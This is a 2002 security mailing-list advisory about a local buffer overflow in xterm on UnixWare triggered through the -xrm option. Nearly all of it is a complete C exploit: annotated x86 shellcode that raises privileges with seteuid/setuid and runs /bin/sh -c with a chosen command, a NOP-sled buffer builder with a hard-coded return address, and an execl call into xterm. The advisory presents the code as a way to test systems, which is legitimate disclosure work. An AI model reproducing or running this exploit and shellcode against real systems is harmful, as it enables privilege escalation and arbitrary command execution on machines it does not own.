[EXPL] XTerm UnixWare Exploit Code Released (-xrm)

From: support@securiteam.com
Date: 01/11/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Fri, 11 Jan 2002 16:13:34 +0100 (CET)

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  XTerm UnixWare Exploit Code Released (-xrm)
------------------------------------------------------------------------

SUMMARY

A security vulnerability in <http://dickey.his.com/xterm/xterm.html>
XTerm (a Terminal emulator for the X Window System) allows local attackers
to cause the product to execute arbitrary commands by overflowing one of
its internal buffers. The following is an exploit code that can be used to
test your system for the mentioned vulnerability.

DETAILS

Exploit:
/*
 * xterm buffer overflow by jGgM
 * http://www.netemperor.com/en/
 * EMail: jggm@mail.com
 *
*/
#include <stdio.h>
#include <stdlib.h>

char shell[] =
  /* 0 */ "\xeb\x5f" /* jmp springboard */
  /* syscall: */
  /* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */
  /* 9 */ "\xc3" /* ret */
  /* start: */
  /* 10 */ "\x5e" /* popl %esi */
  /* 11 */ "\x31\xc0" /* xor %eax,%eax */
  /* 13 */ "\x89\x46\x9d" /* movl %eax,-0x63(%esi) */
  /* 16 */ "\x88\x46\xa2" /* movb %al,-0x5e(%esi) */
  /* seteuid: */
  /* 19 */ "\x31\xc0" /* xor %eax,%eax */
  /* 21 */ "\x50" /* pushl %eax */
  /* 22 */ "\xb0\x8d" /* movb $0x8d,%al */
  /* 24 */ "\xe8\xe5\xff\xff\xff" /* call syscall */
  /* 29 */ "\x83\xc4\x04" /* addl $0x4,%esp */
  /* setuid: */
  /* 32 */ "\x31\xc0" /* xor %eax,%eax */
  /* 34 */ "\x50" /* pushl %eax */
  /* 35 */ "\xb0\x17" /* movb $0x17,%al */
  /* 37 */ "\xe8\xd8\xff\xff\xff" /* call syscall */
  /* 42 */ "\x83\xc4\x04" /* addl $0x4,%esp */
  /* execve: */
  /* 45 */ "\x31\xc0" /* xor %eax,%eax */
  /* 47 */ "\x50" /* pushl %eax */
  /* 48 */ "\x56" /* pushl %esi */
  /* 49 */ "\x8b\x1e" /* movl (%esi),%ebx */
  /* 51 */ "\xf7\xdb" /* negl %ebx */
  /* 53 */ "\x89\xf7" /* movl %esi,%edi */
  /* 55 */ "\x83\xc7\x10" /* addl $0x10,%edi */
  /* 58 */ "\x57" /* pushl %edi */
  /* 59 */ "\x89\x3e" /* movl %edi,(%esi) */
  /* 61 */ "\x83\xc7\x08" /* addl $0x8,%edi */
  /* 64 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */
  /* 67 */ "\x89\x7e\x04" /* movl %edi,0x4(%esi) */
  /* 70 */ "\x83\xc7\x03" /* addl $0x3,%edi */
  /* 73 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */
  /* 76 */ "\x89\x7e\x08" /* movl %edi,0x8(%esi) */
  /* 79 */ "\x01\xdf" /* addl %ebx,%edi */
  /* 81 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */
  /* 84 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
  /* 87 */ "\xb0\x3b" /* movb $0x3b,%al */
  /* 89 */ "\xe8\xa4\xff\xff\xff" /* call syscall */
  /* 94 */ "\x83\xc4\x0c" /* addl $0xc,%esp */
  /* springboard: */
  /* 97 */ "\xe8\xa4\xff\xff\xff" /* call start */
  /* data: */
  /* 102 */ "\xff\xff\xff\xff" /* DATA */
  /* 106 */ "\xff\xff\xff\xff" /* DATA */
  /* 110 */ "\xff\xff\xff\xff" /* DATA */
  /* 114 */ "\xff\xff\xff\xff" /* DATA */
  /* 118 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */
  /* 126 */ "\x2d\x63\xff"; /* DATA */

#define NOP 0x90
#define LEN 102

#define BUFFER_SIZE 1052
#define RET_LENGTH 12

int
main(int argc, char *argv[])
{
   char start_addr[4];
   char buffer[BUFFER_SIZE+(RET_LENGTH*4)+1];
   char *command;
   long offset, ret, start_address;
   int len, x, y, shell_start;

   if(argc > 3 || argc < 2) {
      fprintf(stderr, "Usage: %s [command] [offset]\n", argv[0]);
      exit(1);
   } // end of if..

   command = argv[1];
   if(argc == 3) offset = atol(argv[2]);
   else offset = 0;

   len = strlen(command);
   len++;
   len = -len;
   shell[LEN+0] = (len >> 0) & 0xff;
   shell[LEN+1] = (len >> 8) & 0xff;
   shell[LEN+2] = (len >> 16) & 0xff;
   shell[LEN+3] = (len >> 24) & 0xff;

   start_address = (long)&start_addr;
   //ret = start_address - offset;
   //ret = start_address - 1080 - offset;
   ret = 0x8047910 - offset; // this is very very stupid

   for(x=0; x<BUFFER_SIZE; x++) buffer[x] = NOP;

   x = BUFFER_SIZE - strlen(command) - strlen(shell);

   for(y=0; y<strlen(shell); y++)
      buffer[x++] = shell[y];

   for(y=0; y<strlen(command); y++)
      buffer[x++] = command[y];

   for(y=0; y<RET_LENGTH; y++, x += 4)
      *((int *)&buffer[x]) = ret;

   buffer[x] = 0x00;

   printf("start_address = 0x%x\n", start_address);
   printf("ret = 0x%x,\n", ret);
   printf("offset = %d\n", offset);
   printf("command = %s\n", command);
   printf("buffer size = %d\n", strlen(buffer));
   execl("/usr/X/bin/xterm", "xterm", "-xrm", buffer, NULL);
   printf("exec failed\n");
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:jggm@mail.com> jG gM.

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